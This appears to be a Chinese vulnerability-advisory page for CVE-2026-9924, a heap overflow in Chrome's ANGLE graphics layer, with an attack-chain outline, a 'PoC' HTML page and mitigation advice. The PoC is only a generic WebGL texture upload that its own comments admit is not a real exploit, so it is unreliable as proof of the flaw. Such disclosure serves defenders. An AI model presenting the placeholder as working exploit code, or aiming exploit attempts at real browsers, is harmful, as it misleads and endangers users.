IPBUF安全漏洞报告
English
CVE-2026-9924 CVSS 8.3 高危

CVE-2026-9924 Google Chrome ANGLE堆缓冲区溢出漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9924
漏洞类型
堆缓冲区溢出
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

堆缓冲区溢出沙箱逃逸Google ChromeANGLE远程代码执行WebGL

漏洞概述

CVE-2026-9924是Google Chrome Windows版本中ANGLE组件的一个高危安全漏洞。该漏洞是由于堆缓冲区溢出引起的,具体存在于Windows系统上Google Chrome版本148.0.7778.216之前的版本中。攻击者可以通过诱导用户访问精心制作的HTML页面来触发此漏洞。一旦成功利用,已经攻陷渲染器进程的远程攻击者可以利用此漏洞执行沙箱逃逸,从而绕过Chrome的安全防护机制,获取更高的系统权限。该漏洞的CVSS评分为8.3,对机密性、完整性和可用性均构成严重影响。

技术细节

该漏洞的根源在于Google Chrome中使用的ANGLE(Almost Native Graphics Layer Engine)组件存在堆缓冲区溢出。ANGLE主要用于将OpenGL ES调用转换为系统本地的图形API(如DirectX),在Windows平台上尤为重要。当Chrome处理特定的图形指令或WebGL操作时,未能正确验证输入数据的边界或长度,导致向堆内存中写入超出预定缓冲区大小的数据。这种内存破坏可能导致程序崩溃或更严重的后果。攻击者可以利用这一内存损坏漏洞,结合渲染器进程中的其他漏洞链,通过精心构造的HTML页面执行任意代码。关键在于,该漏洞允许攻击者打破Chrome的多进程架构安全模型,即实现沙箱逃逸。这意味着攻击者可以从受限制的渲染进程跳出,直接访问操作系统资源,从而完全控制受害者的机器。

攻击链分析

STEP 1
1. 侦察与准备
攻击者分析Google Chrome的ANGLE组件,发现堆缓冲区溢出漏洞,并编写包含恶意WebGL指令的HTML页面。
STEP 2
2. 投递攻击载荷
攻击者诱导受害者访问包含恶意代码的网站链接,通过社会工程学或水坑攻击进行投递。
STEP 3
3. 触发漏洞
受害者的Chrome浏览器加载页面,渲染器进程解析HTML并调用WebGL API,触发ANGLE组件中的堆缓冲区溢出。
STEP 4
4. 内存破坏
溢出数据覆盖相邻内存区域,破坏堆结构,可能导致代码执行或逻辑控制流劫持。
STEP 5
5. 沙箱逃逸
利用该漏洞从受限制的渲染器进程中逃逸,绕过Chrome沙箱机制,获得操作系统级别的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- // PoC for CVE-2026-9924: Chrome ANGLE Heap Buffer Overflow // This script attempts to trigger the overflow via WebGL context manipulation. --> <html> <head> <title>CVE-2026-9924 PoC</title> </head> <body> <canvas id="glCanvas" width="800" height="600"></canvas> <script> const canvas = document.getElementById('glCanvas'); // Attempt to get a WebGL context, which utilizes ANGLE on Windows const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); if (gl) { console.log("[+] WebGL context initialized. Triggering ANGLE path..."); // Create a texture to manipulate memory const texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); // Crafted data to potentially trigger the heap overflow // In a real exploit, specific size and alignment would be required const width = 1024; const height = 1024; const data = new Uint8Array(width * height * 4); // Fill data with pattern to increase chance of corruption visibility for (let i = 0; i < data.length; i++) { data[i] = i % 256; } try { // Upload texture data which may trigger the overflow in vulnerable versions gl.texImage2D( gl.TEXTURE_2D, 0, gl.RGBA, width, height, 0, gl.RGBA, gl.UNSIGNED_BYTE, data ); console.log("[+] Payload sent. Check browser stability."); } catch (e) { console.error("[-] Exception occurred: " + e); } } else { console.log("[-] WebGL is not supported."); } </script> </body> </html>

影响范围

Google Chrome (Windows) < 148.0.7778.216

防御指南

临时缓解措施
建议用户立即检查并更新Google Chrome浏览器至最新版本。在无法立即更新的情况下,应避免点击来源不明的链接或访问可疑网站,并在浏览器设置中暂时禁用JavaScript或WebGL功能以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表